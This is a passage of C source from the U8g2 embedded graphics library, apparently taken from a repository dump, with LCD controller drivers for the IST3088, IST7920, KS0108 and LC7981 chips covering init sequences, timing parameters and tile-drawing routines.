      SdData(0x00); SdData(0x12);\n    SdCmd(0x07);                \n        SdData(0x00); SdData(0x01);\n*/\n\n/* https://github.com/olikraus/u8g2/issues/1887 */\nstatic const uint8_t u8x8_d_ist3088_320x240_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  /* disableLCD */\n  U8X8_CCAA(0x0, 0x07, 0x00, 0x00), \t\t\t// Display Control Bit 2: BW, 1: Invert, 0: Display enable\n\n  U8X8_CCAA(0x0, 0x01, 0x00, 0x00), \t\t\t// Driver Control, 1/240 Duty\n  U8X8_CCAA(0x0, 0x02, 0x01, 0x4c), \t\t\t// Polarity Control\n\n  U8X8_CCAA(0x0, 0x06, 0x00, 0x03), \t\t\t// Entry mode: h/v increment  \n  //U8X8_CCAA(0x0, 0x04, 0x07, 0x61), \t\t\t// Power Control 2: 0x07: 1/16 Bias, Vout1 x 4\n  U8X8_CCAA(0x0, 0x04, 0x04, 0x61), \t\t\t// Power Control 2: 0x07: 1/16 Bias, Vout1 x 4\n  U8X8_CCAA(0x0, 0x05, 0x00, 0x6a), \t\t\t// Contrast, 0..255, \n\n  U8X8_CCAA(0x0, 0x03, 0x00, 0x40), \t\t\t// Enable voltage converter \n  U8X8_DLY(10),\n  U8X8_CCAA(0x0, 0x03, 0x00, 0x60), \t\t\t// Enable voltage regulator \n  U8X8_DLY(10),\n  U8X8_CCAA(0x0, 0x03, 0x00, 0x70), \t\t\t// Enable voltage follower \n  U8X8_DLY(10),\n\n  U8X8_CCAA(0x0, 0x23, 0x00, 0x04), \t\t\t// Monochrome mode\n  U8X8_CCAA(0x0, 0x28, 0x00, 0x0c), \t\t\t// Frame Rate Control\n  U8X8_CCAA(0x0, 0x37, 0x00, 0x01), \t\t\t// Frame Rate Control\n  U8X8_CCAA(0x0, 0x0d, 39, 0x00), \t\t\t// X End and X Start\n  \n  U8X8_CCAA(0x0, 0x0e, 239, 0x00), \t\t\t// Y End and Y Start\n\n  /* enable LCD (will be done by powersave0) */\n  //U8X8_CCAA(0x0, 0x07, 0x00, 0x01), \t\t\t// Display Control Bit 2: BW, 1: Invert, 0: Display enable\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()           \t\t\t/* end of sequence */\n};\n\n\n\n\nstatic const u8x8_display_info_t u8x8_ist3088_320x240_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 110,\n  /* pre_chip_disable_wait_ns = */ 110,\n  /* reset_pulse_width_ms = */ 10, \t\n  /* post_reset_wait_ms = */ 10, \t\t/**/\n  /* sda_setup_time_ns = */ 110,\t\t/* */\n  /* sck_pulse_width_ns = */ 125,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* 250ns cycle, see page 49 of the IST3088 datasheet*/\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz, IST8033 das not include a I2C interface */\n  /* data_setup_time_ns = */ 70,\n  /* write_pulse_width_ns = */ 60,\t\n  /* tile_width = */ 40,\n  /* tile_height = */ 30,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 320,\n  /* pixel_height = */ 240\n};\n\nuint8_t u8x8_d_ist3088_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ist3088_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ist3088_320x240_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ist3088_320x240_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ist7920.c",
    "content": "/*\n\n  u8x8_d_ist7920.c\n  \n  this is NOT ST7920!\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2019, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_ist7920_128x128_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x03d),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ist7920_128x128_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x03c),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ist7920_128x128_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x064),\t\t\t\t/* Display Ctrl: Bit3: SHL 2:ADC 1:EON, 0:REV */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ist7920_128x128_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x068),\t\t\t\t/* Display Ctrl: Bit3: SHL 2:ADC 1:EON, 0:REV */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_ist7920_128x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 90,\t/* IST7920 datasheet, page 48 */\n  /* pre_chip_disable_wait_ns = */ 90,\t/* IST7920 datasheet, page 48 */\n  /* reset_pulse_width_ms = */ 10,\t\t \n  /* post_reset_wait_ms = */ 20, \t\t/* IST7920 Startup Seq.. */\n  /* sda_setup_time_ns = */ 45,\t\t/* IST7920 datasheet, page 48 */\n  /* sck_pulse_width_ns = */ 130,\t/* IST7920 datasheet, page 48 */\n  /* sck_clock_hz = */ 3000000UL,\t/* IST7920 datasheet: 260ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge (not verified) */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400kHz according to IST7920 datasheet */\n  /* data_setup_time_ns = */ 60,\t/* IST7920 datasheet, page 47 */\n  /* write_pulse_width_ns = */ 150,\t/* IST7920 datasheet, page 47 */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 128\n};\n\n/* 1/128 Duty, 1/10 Bias, 128x128 round display */\nstatic const uint8_t u8x8_d_ist7920_128x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_C(0x076),\t\t\t\t/* Software Reset */\n  U8X8_DLY(50),\n  U8X8_C(0x03c),\t\t\t\t/* display off */\n  \n  \n  U8X8_CA(0x090, 128),\t\t\t/* Set Duty */\n  //U8X8_CAA(0x0b2, 0x011, 0x00),\t/* Set Frame Control */  \n\n  U8X8_CA(0x030, 16),\t\t\t/* Set Bias 0: 1/8, 8: 1/9, 16: 1/10, 24: 1/11, 48: 1/12 ... */  \n  U8X8_CA(0x031, 0x03f),\t\t/* Set voltage generate clock(31H/11H) */  \n  //U8X8_CA(0x032, 0x015),\t\t/* Temperature compensation */  \n  U8X8_CA(0x033, 0x020),\t\t/* Power Control */\n  U8X8_DLY(100),\n  U8X8_CA(0x033, 0x02c),\t\t/* Power Control */\n  U8X8_DLY(100),\n  U8X8_C(0xfd),\t\t\t\t/* set booster */\n  U8X8_DLY(100),\n  U8X8_CA(0x033, 0x02f),\t\t/* Power Control */\n  U8X8_DLY(200),\n  \n  U8X8_C(0x064),\t\t\t\t/* Display Ctrl: Bit3: SHL 2:ADC 1:EON, 0:REV */\n\n  U8X8_CAA(0x074, 0x000, 0x00f),\t/* AY Window */  \n  U8X8_CAA(0x075, 0x000, 0x07f),\t/* AX Window */  \n  \n  U8X8_CA(0x040, 64),\t\t\t/* Start line at 64 */\n\n  U8X8_CA(0x0b1, 100),\t\t\t/* electronic volume */  \n\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_ist7920_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ist7920_128x128_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ist7920_128x128_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist7920_128x128_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist7920_128x128_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist7920_128x128_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ist7920_128x128_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x0b1 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* st7920 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x0c0 );\n      u8x8_cad_SendArg(u8x8, x );\n      u8x8_cad_SendCmd(u8x8, 0x001 );\n      u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos) );\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ks0108.c",
    "content": "/*\n\n  u8x8_d_ks0108.c \n  \n  The classic 5V LCD\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_ks0108_init_seq[] = {\n  U8X8_C(0x0c0),\t\t                /* start at the top  */  \n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ks0108_powersave0_seq[] = {\n  U8X8_C(0x03f),\t\t                /* display on */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ks0108_powersave1_seq[] = {\n  U8X8_C(0x03e),\t\t                /* display off */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstruct u8x8_ks0108_vars\n{\n  uint8_t *ptr;\n  uint8_t x;\n  uint8_t c;\n  uint8_t arg_int;\n};\n\nstatic void u8x8_ks0108_out(u8x8_t *u8x8, struct u8x8_ks0108_vars *v, void *arg_ptr)\n{\n  uint8_t cnt;\n  u8x8_cad_SendCmd(u8x8, 0x040 | ((v->x << 3) & 63) );\n  u8x8_cad_SendCmd(u8x8, 0x0b8 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n  \n  while( v->arg_int > 0 )\n  {\n      /* calculate tiles to next boundary (end or chip limit) */\n      cnt = v->x;\n      cnt += 8;\n      cnt &= 0x0f8;\n      cnt -= v->x;\n            \n      if ( cnt > v->c )\n\tcnt = v->c;\n    \n      /* of cours we still could use cnt=1 here... */\n      /* but setting cnt to 1 is not very efficient */\n      //cnt = 1;\n    \n      v->x +=cnt;\n      v->c-=cnt;\n      cnt<<=3;\n      u8x8_cad_SendData(u8x8, cnt, v->ptr);\t/* note: SendData can not handle more than 255 bytes */    \n      v->ptr += cnt;\n    \n      if ( v->c == 0 )\n      {\n\tv->ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tv->c = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tv->arg_int--;\n      }\n      if ( ((v->x) & 7) == 0 )\n\tbreak;       \n  } \n}\n\n\nstatic const u8x8_display_info_t u8x8_ks0108_128x64_display_info =\n{\n  /* chip_enable_level = */ 0,\t\t/* KS0108: Not used */\n  /* chip_disable_level = */ 1,\t\t/* KS0108: Not used */\n  \n  /* post_chip_enable_wait_ns = */ 100,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \t\t/* could be faster for the KS0108 */\n  /* sda_setup_time_ns = */ 12,\t\t\n  /* sck_pulse_width_ns = */ 75,\t/* KS0108: Not used */\n  /* sck_clock_hz = */ 4000000UL,\t/* KS0108: Not used */\n  /* spi_mode = */ 0,\t\t\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* KS0108: Not used */\n  /* data_setup_time_ns = */ 200,\n  /* write_pulse_width_ns = */ 250,\t/* KS0108: actially 450 ns, but additional 200 ns are added by the byte transfer function */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_ks0108_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  struct u8x8_ks0108_vars v;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ks0108_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n    \n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_init_seq);\n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n    \n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 2, NULL);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_init_seq);\n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      \n      if ( arg_int == 0 )\n      {\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave0_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 2, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave0_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n\t\n      }\n      else\n      {\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave1_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n\t\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 2, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave1_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n\t\n      }\n      break;\n// The KS0108 can not mirror the cols and rows, use U8g2 for rotation\n//    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n//      break;\n// The KS0108 has no internal contrast command\n//    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n//      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n\n      v.ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      v.x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      v.c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      v.arg_int = arg_int;    \n      \n      \n      if ( v.x < 8 )\n      {\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL);\n\tu8x8_ks0108_out(u8x8, &v, arg_ptr);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n      }\n      if ( v.x < 16 )\n      {\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 2, NULL);\n\tu8x8_ks0108_out(u8x8, &v, arg_ptr);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n      }\n      //if ( v.x < 24 )\n      //{\n\t//u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 4, NULL);\n\t//u8x8_ks0108_out(u8x8, &v, arg_ptr);\n\t//u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n      //}    \n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nstatic const u8x8_display_info_t u8x8_ks0108_192x64_display_info =\n{\n  /* chip_enable_level = */ 0,\t\t/* KS0108: Not used */\n  /* chip_disable_level = */ 1,\t\t/* KS0108: Not used */\n  \n  /* post_chip_enable_wait_ns = */ 100,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \t\t/* could be faster for the KS0108 */\n  /* sda_setup_time_ns = */ 12,\t\t\n  /* sck_pulse_width_ns = */ 75,\t/* KS0108: Not used */\n  /* sck_clock_hz = */ 4000000UL,\t/* KS0108: Not used */\n  /* spi_mode = */ 0,\t\t\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* KS0108: Not used */\n  /* data_setup_time_ns = */ 200,\n  /* write_pulse_width_ns = */ 250,\t/* KS0108: actially 450 ns, but additional 200 ns are added by the byte transfer function */\n  /* tile_width = */ 24,\t\t/* width of 24*8=192 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 192,\n  /* pixel_height = */ 64\n};\n\n\n/* east rising (buydisplay.com) ERM19264 */\n/* left: 011, middle: 101, right: 110, no chip select: 111 */\nuint8_t u8x8_d_ks0108_erm19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  struct u8x8_ks0108_vars v;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ks0108_192x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n    \n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 3, NULL);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_init_seq);\n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n    \n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 5, NULL);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_init_seq);\n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n    \n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 6, NULL);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_init_seq);\n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      \n      if ( arg_int == 0 )\n      {\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 3, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave0_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 5, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave0_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 6, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave0_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n\t\n      }\n      else\n      {\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 3, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave1_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 5, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave1_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 6, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave1_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n\t\n      }\n      break;\n// The KS0108 can not mirror the cols and rows, use U8g2 for rotation\n//    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n//      break;\n// The KS0108 has no internal contrast command\n//    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n//      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n\n      v.ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      v.x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      v.c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      v.arg_int = arg_int;    \n      \n/*\n    3-bit CS value:\n    In u8x8_byte_set_ks0108_cs(u8x8_t *u8x8, uint8_t arg) the lowest\n    bit is assigned to CS and highest bit if the 3-bit value to CS2\n    \n    CS: left part of the display  --> 6\n    CS1: middle part --> 5\n    CS2: right part of the display --> 3\n\n    Reference: https://github.com/olikraus/u8g2/issues/631\n*/\n      if ( v.x < 8 )\n      {\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 6, NULL);  // 3-->6, issue 631\n\tu8x8_ks0108_out(u8x8, &v, arg_ptr);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n      }\n      if ( v.x < 16 )\n      {\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 5, NULL);\n\tu8x8_ks0108_out(u8x8, &v, arg_ptr);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n      }\n      if ( v.x < 24 )\n      {\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 3, NULL); // 6-->3, // issue 631\n\tu8x8_ks0108_out(u8x8, &v, arg_ptr);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL);\n      }    \n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_lc7981.c",
    "content": "/*\n\n  u8x8_d_lc7981.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\n/* no powersave mode for the LC7981 */\n// static const uint8_t u8x8_d_lc7981_powersave0_seq[] = {\n//   U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n//   U8X8_END_TRANSFER(),       